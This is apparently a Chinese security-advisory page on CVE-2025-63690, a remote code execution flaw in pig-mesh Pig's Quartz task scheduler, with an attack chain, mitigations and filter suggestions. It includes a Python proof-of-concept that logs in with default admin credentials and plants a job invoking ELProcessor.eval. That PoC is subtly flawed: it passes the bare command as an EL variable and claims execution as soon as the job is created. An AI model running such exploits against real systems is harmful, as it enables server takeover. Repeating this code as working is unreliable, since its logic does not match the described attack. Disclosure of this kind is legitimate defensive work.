IPBUF安全漏洞报告
English
CVE-2025-63690 CVSS 9.1 严重

CVE-2025-63690 | pig-mesh Quartz计划任务远程代码执行漏洞

披露日期: 2025-11-07

漏洞信息

漏洞编号
CVE-2025-63690
漏洞类型
远程代码执行
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
pig-mesh Pig

相关标签

远程代码执行反射注入EL表达式注入pig-meshPigQuartzCVE-2025-63690Java高危漏洞

漏洞概述

CVE-2025-63690是pig-mesh Pig微服务框架中的一个严重远程代码执行漏洞,CVSS评分高达9.1分(满分10分)。该漏洞存在于系统管理模块的Quartz计划任务管理功能中,影响版本为3.8.2及以下所有版本。攻击者通过该漏洞可以利用Java反射机制调用任意Java类的无参构造函数及其String类型参数的方法,结合Tomcat内置的jakarta.el.ELProcessor类的eval方法实现任意命令执行。由于该漏洞利用需要高权限认证,攻击者需先获取系统管理后台的访问权限,但一旦成功利用,可直接在服务器上执行任意代码,完全控制目标系统。该漏洞的严重性在于其利用简单、影响范围广,可导致企业核心业务系统的完全沦陷,对数据安全和业务连续性构成极大威胁。建议受影响用户立即升级到最新版本或采取临时缓解措施。

技术细节

该漏洞的核心在于pig-mesh Pig框架在实现Quartz计划任务调度功能时,未对用户输入的Java类名和方法进行严格的安全校验。攻击者可以通过系统管理后台的定时任务管理界面,构造恶意的类名和方法调用请求。具体利用过程如下:首先,攻击者利用pig-mesh的权限绕过或通过合法的高权限账户登录系统管理后台;然后在Quartz任务配置中,将目标类设置为jakarta.el.ELProcessor,将方法设置为eval;最后在参数中传入恶意的EL表达式,如Runtime.getRuntime().exec("calc.exe"),框架会通过反射机制自动调用该类的构造函数和指定方法。由于jakarta.el.ELProcessor.eval()方法支持执行EL表达式语言,而EL表达式可以访问Java静态方法和实例方法,攻击者即可通过构造特定的EL表达式实现系统命令执行。整个利用过程完全依赖Java的反射API和ELProcessor的表达式求值功能,无需任何特殊漏洞利用工具。

攻击链分析

STEP 1
Reconnaissance
识别目标系统是否运行pig-mesh Pig框架及其版本,扫描Quartz管理接口的可访问性
STEP 2
Authentication
通过权限绕过、弱口令或凭据泄露获取系统管理后台的高权限账户访问权限
STEP 3
Payload Construction
构造恶意请求,将目标类设置为jakarta.el.ELProcessor,方法设置为eval,参数为包含系统命令的EL表达式
STEP 4
Reflection Execution
通过pig-mesh的反射机制调用ELProcessor的无参构造函数,然后执行eval方法触发EL表达式解析
STEP 5
Command Execution
ELProcessor.eval()解析EL表达式,通过Runtime.getRuntime().exec()在服务器上执行任意系统命令
STEP 6
Post-Exploitation
攻击者获得服务器完全控制权后可进行数据窃取、横向移动、持久化控制等后续攻击行为

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-63690 PoC - pig-mesh RCE via ELProcessor # Target: pig-mesh Pig <= 3.8.2 TARGET_URL = "http://target.com:8080" USERNAME = "admin" PASSWORD = "admin" # Step 1: Login to get session cookie login_url = f"{TARGET_URL}/auth/login" login_data = { "username": USERNAME, "password": PASSWORD } session = requests.Session() response = session.post(login_url, json=login_data) if response.status_code != 200: print("[-] Login failed") exit(1) print("[+] Login successful") # Step 2: Create malicious Quartz job with ELProcessor.eval() job_url = f"{TARGET_URL}/system/quartz/job" # ELProcessor.eval() can execute arbitrary commands # Payload: Execute system command via EL expression command = "whoami" # Change this to your target command payload = f"${{{command}}}" job_data = { "jobName": "rce_poc", "jobClass": "jakarta.el.ELProcessor", "methodName": "eval", "methodParams": [payload], "cronExpression": "0 0 0 * * ?", # Dummy cron "description": "Malicious job for CVE-2025-63690" } response = session.post(job_url, json=job_data) if response.status_code == 200: print(f"[+] Malicious job created successfully") print(f"[+] Command executed: {command}") print(f"[+] Check server response for command output") else: print(f"[-] Job creation failed: {response.text}")

影响范围

pig-mesh Pig <= 3.8.2

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制管理后台的访问IP,仅允许受信任的管理终端访问;2)临时禁用Quartz计划任务功能,避免通过该接口进行攻击;3)监控并过滤包含jakarta.el.ELProcessor、javax.script.ScriptEngine等危险类名的请求;4)对系统管理功能实施严格的权限控制和操作审计;5)考虑在应用层添加输入验证,阻止对危险类的反射调用请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表